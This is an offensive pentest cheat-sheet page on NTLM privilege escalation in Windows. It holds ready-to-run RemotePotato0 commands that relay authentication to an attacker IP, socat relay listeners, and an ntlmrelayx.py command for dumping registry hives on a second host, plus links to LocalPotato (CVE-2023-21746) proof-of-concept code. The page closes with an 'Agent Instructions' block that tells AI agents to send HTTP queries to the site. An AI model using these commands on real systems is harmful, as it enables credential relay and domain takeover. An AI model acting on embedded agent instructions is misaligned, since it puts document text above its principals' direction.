# NTLM elevation of privilege

## **RemotePotato**

Windows Privilege Escalation from User to Domain Admin. NTLM Relay

{% embed url="<https://github.com/antonioCoco/RemotePotato0>" %}

{% embed url="<https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html>" %}

### Relay NetNTLMv2 to SMB

Very effective on e.g. terminal server where admin/domain admins are logged on

On the target system:<br>

```
RemotePotato.exe -m 2 -r <ATTACKER-IP> -x <ATTACKER-IP> -s <SESSION-ID> -c <CLSID DEPENDING ON OS>
```

* e.g. CLSID: 5167B42F-C111-47A1-ACC4-8EABE61B0B54

On attacker system:

```
socat TCP-LISTEN:135,fork,reuseaddr TCP:<TARGET-IP>:9999
```

### Relaying NTLM to SMB to dump local hives on a remote system with local admin privileges

On target system:

```
RemotePotato0.exe -m 0 -r <ATTACKER-IP> -x <ATTACKER-IP> -p 9999 -s <SESSION-ID> -c <CLSID>
```

* e.g. CLSID: F8842F8E-DAFE-4B37-9D38-4E0714A61149

On attacker system:

```
socat TCP-LISTEN:135,fork,reuseaddr TCP:<TARGET-IP>:9999
```

```
ntlmrelayx.py -t <SECOND-TARGET-IP> -smb2support
```

## **LocalPotato**

**CVE-2023-21746**, Microsoft Windows could allow a local authenticated attacker to gain elevated privileges on the system, caused by a flaw in the NTLM component. By executing a specially-crafted program, an authenticated attacker could exploit this vulnerability to obtain SYSTEM privileges.

{% embed url="<https://securityonline.info/poc-exploit-for-windows-ntlm-privilege-escalation-flaw-cve-2023-21746-published/>" %}

{% embed url="<https://github.com/decoder-it/LocalPotato>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/windows/ntlm-elevation-of-privilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.